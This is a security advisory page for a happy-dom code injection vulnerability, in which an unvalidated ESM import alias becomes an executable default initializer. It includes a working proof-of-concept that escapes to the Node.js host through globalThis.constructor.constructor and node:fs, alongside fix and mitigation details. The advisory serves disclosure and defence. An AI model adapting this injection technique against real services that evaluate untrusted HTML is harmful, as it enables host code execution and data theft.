CVE-2026-115895 is a high-severity (CVSS 8.8) Code Injection vulnerability in happy-dom. A fix is available for happy-dom — see the affected versions and patch details below.
Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-115895.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
happy-domnpmDescription
Summary
The ESM compiler in [email protected] does not validate imported local binding aliases before interpolating them into generated JavaScript.
As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.
This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.
These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.
Confirmed affected versions
The PoC was directly tested against:
The same PoC does not trigger on [email protected].
The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.
Suggested affected range:
>= 17.0.0, <= 20.14.5
No patched version is currently available.
Preconditions
- JavaScript evaluation is enabled with
enableJavaScriptEvaluation: true. - Attacker-controlled HTML or module source is processed by Happy DOM.
- This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.
Technical details
In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');
if (alias && name) {
properties.push({ name, alias });
}
Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.
It is subsequently inserted directly into generated binding syntax:
newCodeStart += `let {${properties
.map((property) =>
property.alias
? `"${property.name}": ${property.alias}`
: property.name
)
.join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;
Consider the following source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
This is invalid ECMAScript module syntax. Node.js rejects it at the = token.
Happy DOM instead transforms it into the equivalent of:
let {
"missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');
This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.
The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:
if (!match[7] || match[7] === 'esm') {
resolvableCircularImports.push({ url, properties });
}
Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.
Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:
globalThis.constructor.constructor(`return process`)()
.getBuiltinModule(`node:fs`)
.mkdirSync(
globalThis.constructor.constructor(`return process`)().cwd() +
`/HAPPY_DOM_RCE_PROOF`
)
Proof of concept
The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.
1. Create package.json
{
"name": "happy-dom-import-alias-rce-poc",
"private": true,
"type": "module",
"dependencies": {
"happy-dom": "20.14.5"
}
}
2. Create dep.json
{}
3. Create payload.mjs
This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
4. Create poc.mjs
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';
const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });
const window = new Window({
url: 'https://poc.local/',
settings: {
enableJavaScriptEvaluation: true,
suppressCodeGenerationFromStringsWarning: true,
fetch: {
virtualServers: [
{
url: 'https://poc.local/',
directory: process.cwd()
}
]
}
}
});
const script = window.document.createElement('script');
script.type = 'module';
script.textContent = `
import {
missing as injected = globalThis.constructor.constructor(\`return process\`)()
.getBuiltinModule(\`node:fs\`)
.mkdirSync(
globalThis.constructor.constructor(\`return process\`)().cwd() +
\`/HAPPY_DOM_RCE_PROOF\`
)
} from './dep.json' with { type: 'json' };
`;
window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();
if (!existsSync(proofDirectory)) {
console.error('[-] Exploit failed: proof directory was not created.');
console.error(
window.happyDOM.virtualConsolePrinter.readAsString()
);
process.exitCode = 1;
} else {
console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}
await window.happyDOM.close();
5. Run the control test
npm install
node --check payload.mjs
Expected result:
SyntaxError: Unexpected token '='
This confirms that the source is not valid ESM.
6. Run the Happy DOM PoC
node poc.mjs
Expected result:
[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF
The existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.
The PoC was also verified inside a node:24-alpine Docker container, where it created:
/poc/HAPPY_DOM_RCE_PROOF
Impact
An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.
This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.
The demonstrated payload reaches Node.js process and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.
Relationship to CVE-2026-33943
CVE-2026-33943 covers expression injection through a local export declaration:
export { attacker_expression }
Its fix added identifier validation to the importName used by the export { ... } handler:
if (
exportName &&
importName &&
VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
// ...
}
This report uses a different parsing and code-generation path:
import { name as malicious_alias } from './module';
The unvalidated value is the local import alias, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.
The issue remains reproducible in versions released after the CVE-2026-33943 fix, including 20.14.5.
Suggested fix
Validate the imported local binding before placing it into code context. The existing VALID_VARIABLE_NAME_REGEXP can be reused:
- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {
A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.
This change was tested locally. The focused ECMAScriptModuleCompiler test suite passes with 30 tests, and ESLint reports no errors.
For additional hardening, generated property keys should use JSON.stringify() instead of manual quote interpolation.
Verification record
- Testing date: 2026-09-17
- Duplicate check updated: 2026-09-20
- Platform: Windows 11
- Node.js:
24.14.1 - Latest tested package:
[email protected] - Source tag:
v20.14.5 - Source commit:
0d4cdbe7442af49d16b49ddf1acf7cc9684ed318 - First confirmed affected version:
17.0.0 - Confirmed unaffected version:
16.8.1 - Docker environment: Node 24 Alpine
- No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | happy-dom | ≥ 17.0.0&&< 21.0.4 | 21.0.4npm install happy-dom@21.0.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for happy-dom, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update happy-dom to 21.0.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-115895 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated as Important because an attacker can execute arbitrary commands in the host Node.js runtime without requiring local system credentials. Exposure depends on the application processing untrusted web assets or scripts with JavaScript execution enabled. Deployments that parse only trusted…
--- CME Mitigation Guidance (2026-11-02) --- Disclaimer: The following mitigation solutions are provided as a courtesy, pending the application of an official patch. This content was generated utilizing AI tools in conjunction with data from https://cmetaxonomy.org. Customers are advised to independently evaluate and test these temporary mitigations within their own infrastructure. The highest-value action is to prevent unvalidated ECMAScript Module import aliases from being interpolated into generated destructuring bindings in Happy DOM: upgrade to happy-dom 21.0.4 (or the fixed Ansible Automation Platform 26/Gateway Rhel/Ansible Automation Platform 27/Gateway Rhel/Rhoai/Odh Feature Server…Source: Red Hat security advisory for CVE-2026-115895 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-115895 in your dependencies?
Find it across npm, including transitive dependencies.